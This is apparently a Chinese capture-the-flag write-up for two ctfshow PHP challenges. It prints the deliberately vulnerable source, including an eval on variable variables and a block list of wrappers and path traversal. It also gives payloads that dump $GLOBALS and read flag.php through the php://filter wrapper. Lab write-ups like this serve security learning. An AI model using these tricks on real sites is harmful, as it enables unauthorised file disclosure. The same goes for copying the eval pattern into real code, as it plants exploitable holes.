ctfshow php特性

xxpanda / 2023-05-22 / 原文

web111

源代码

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");  //这里是一个赋值语句把v2的值复制下面通过get获得的$$v1值
    var_dump($$v1);       //打印$$v1的值
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
          //下面过滤后基本就是输入字母的意思
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){  //当$v1的值有ctfshow时,运行下面语句
            getFlag($v1,$v2);
    }

payload:?v1=ctfshow&v2=GLOBALS

web112

1.源代码

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}
//大概意思就是需要你给file这个参数赋值然后需要你的值绕过前面的过滤最后到这个highlight_file函数

2.知识点

is_file函数:判断输入的参数是不是文件

特点:PHP伪协议对这个函数来说不是函数

highlight_file函数:高亮文件

特点:对这个函数来说是函数

3.解题

payload:?file=php://filter/resource=flag.php